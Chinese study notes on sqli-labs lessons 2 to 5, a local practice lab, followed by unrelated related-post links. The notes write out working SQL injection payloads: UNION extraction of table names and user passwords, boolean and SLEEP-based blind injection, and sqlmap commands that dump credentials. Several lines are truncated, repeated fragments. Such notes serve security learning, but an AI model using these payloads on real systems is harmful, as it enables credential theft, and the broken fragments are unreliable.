sqli-labs学习笔记 DAY2
DAY2
sqli-labs lesson 2
- 手工注入
- URL:http://localhost/sqli-labs-master/Less-2/
- Parameter:id
- 注入点检测:id=2;–+
- 回显点检测:id=2+UNION+SELECT+1,2,3;–+
- 字段数猜解:id=2+ORDER+BY+3;–+
- 获取当前数据库:id=99+UNION+SELECT+1,database(),3;–+
- 获取security数据库的表:id=99+UNION+SELECT+1,group_concat(table_name),3+FROM+information_schema.tables+WHERE+table_schema=‘security’;–+
- 获取users表的字段:id=99+UNION+SELECT+1,group_concat(column_name),3+FROM+information_schema.columns+WHERE+table_schema=‘security’+AND+table_name=‘users’;–+
- 获取users表的记录:id=99+UNION+SELECT+1,group_concat(username),group_concat(password)+FROM+security.users;–+
- sqlmap
- 命令:python sqlmap.py
- 注入点检测:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0
- 获取当前数据库:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0 --current-db
- 获取数据库所有表:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0 -D security --tables
- 获取users表所有字段:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0 -D security -T users --columns
- 获取users表所有记录:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0 -D security -T users -C username,password --dump
sqli-labs lesson 3
- 手工注入
- URL:http://localhost/sqli-labs-master/Less-3/
- Parameter:id
- 该题与lesson 2相同,只不过在单引号后面加一个)。这一点可以通过利用上一题的检测方法检测时的报错知晓。
- sqlmap
- 与上一题完全相同
sqli-labs lesson 4
- 手工注入
- URL:http://localhost/sqli-labs-master/Less-4/
- Parameter:id
- 该题与lesson 2相同,只不过在单引号换成双引号。这一点可以通过利用上一题的检测方法检测时的报错知晓。
- sqlmap
- 同lesson 2
sqli-labs lesson 5
- 手工注入
- URL:http://localhost/sqli-labs-master/Less-5/
- Parameter:id
- 布尔型注入
- 检测:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+0;--+
- 说明:如果存在注入点,网页返回与id=1的结果不同,如果把0改成1,则相同
- sql的if函数:if(CONDITION, A, B) 条件成立,返回A,否则返回B
- 长度函数:length(STRING)
- 字符串截取
- 检测数据库名长度:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(length(database())=n,1,0);–+
- 也可以用不等号来进行二分法猜解
- 猜测数据库名:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a’,1,0);–+
- left()函数:left(STRING, LENGTH)返回字符串左边LENGTH个字符
- substring(string, pos, length)返回字符串string从pos开始的length长度的子字符串
- 也可以使用ascii()函数把字符转成ascii来二分法猜解
- 可以借助Burpsuit实现半自动化简化过程,通过返回网页的长度来判断返回值

http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
- http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a利用延迟来注入
- http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
- http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a检测:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+SLEEP(5);--+
- 说明:如果存在注入点,网页的返回会延迟5S,可以通过开发者工具观察返回时间的变化
- sql的if函数:if(CONDITION, A, B) 条件成立,返回A,否则返回B
- 长度函数:length(STRING)
- 字符串截取
- 检测数据库名长度:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(length(database())=n,SLEEP(5),1);–+
- 也可以用不等号来进行二分法猜解
- 猜测数据库名:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a’,SLEEP(5),1);–+
- 字段数、表名等语法类似
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
- sqlmap
- 同lesson 2
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
sqli-labs学习笔记 DAY2的更多相关文章
- 《从零开始学Swift》学习笔记(Day2)——使用Web网站编写Swift代码
Swift 2.0学习笔记——使用Web网站编写Swift代码 原创文章,欢迎转载.转载请注明:关东升的博客 Swift程序不能在Windows其他平台编译和运行,有人提供了一个网站swiftstub ...
- Python学习笔记 - day2 - PyCharm的基本使用
什么是IDE 开始学习的小白同学,一看到这三个字母应该是懵逼的,那么我们一点一点来说. 既然学习Python语言我们就需要写代码,那么代码写在哪里呢? 在记事本里写 在word文档里写 在sublim ...
- python网络爬虫与信息提取 学习笔记day2
Day2: 查看robots协议: 查看京东的robots协议 查看百度的robots协议,可以看到百度拒绝了搜狗的爬虫233 爬取京东商品页面相关信息: import requests url = ...
- oracle学习笔记day2
第三章:单值函数 函数分为: 1.单值函数 1.字符函数 2.日期函数 3.转换函数 4.数字函数 2.分组函数(后面的章节再做学习) 哑表dual dual是一个虚拟表,用来构成select的语法规 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- Python学习笔记——Day2
一.集成开发环境 集成开发环境(IDE,Integrated development Enviroment)是用于提供程序开发环境的应用程序,一般包括代码编辑器.编译器.调试器和图形用户界面等工具.集 ...
- [python学习笔记]Day2
摘要: 对象 对于python来说,一切事物都是对象,对象基于类创建: 注:查看对象相关成员 var,type,dir 基本数据类型和序列 int内部功能 class int(object): def ...
- 学习笔记DAY2
Pycharm使用 1.添加模板 file => settings =>Editor=>file and code template => python script => ...
- python学习笔记-Day2 Numpy数组
1. 实现两个数组相加,在数据量特别大的时候 产生数组: (1) 从列表产生数组:a=[0,1,2,3] a=np.array(1) a (2) 从列表传入 a=np.array([1,2,3,4 ...
随机推荐
- nRF5 SDK for Mesh( 七 ) BLE MESH 的 架构(rchitecture)
The mesh architecture The mesh stack consists of a number of subsystems that are interfaced throug ...
- 【CSS3基础-Flex布局】
关于Flex 背景 在flex布局出现以前,常用的水平和垂直居中对齐方式有很多.flex布局的出现基本规范了这一过程. 通过justify-content和align-items两个属性即解决了水平居 ...
- java ssm 后台框架平台 项目源码 websocket 即时通讯 IM quartz springmvc
官网 http://www.fhadmin.org/D 集成安全权限框架shiro Shiro 是一个用 Java 语言实现的框架,通过一个简单易用的 API 提供身份验证和授权,更安全,更可靠E ...
- Java并发编程(八)线程间协作(上)
多线程并发执行时,不同的线程执行的内容之间可能存在一些依赖关系,比如线程一执行a()方法和c()方法,线程二执行b()方法,方法a()必须在方法b()之前执行,而方法c()必须在方法b()之后执行.这 ...
- 关于js中的原型
- JS-instanceof 与typeof
通常来讲,使用 instanceof 就是判断一个实例是否属于某种类型 而typeof 无论引用的是什么类型的对象,它都返回 "object" var arr=[1,2,3]; ...
- 事务与MVCC
前言 关于事务,是一个很重要的知识点,大家在面试中也会被经常问到这个问题: 数据库事务有不同的隔离级别,不同的隔离级别对锁的使用是不同的,**锁的应用最终导致不同事务的隔离级别 **:在上一篇文章中我 ...
- MySQL数据查询(重点)
1.查询所有列 * 为所有列 select * from table_name; 2.查询指定列 select id,age from table_name; 3.查询时添加常量列-------本 ...
- Navicat 12 连接 Mysql8.0 使用日志
目前最新的Mysql8.0 + Navicat12,使用中常有一些棘手问题 解决了的都会贴出来,受益于小伙伴们 我们的目标是发现问题,解决问题,欢迎大家贴出自己使用时遇到的问题,集思广益 好了,上干货 ...
- 1.Hadoop集群安装部署
Hadoop集群安装部署 1.介绍 (1)架构模型 (2)使用工具 VMWARE cenos7 Xshell Xftp jdk-8u91-linux-x64.rpm hadoop-2.7.3.tar. ...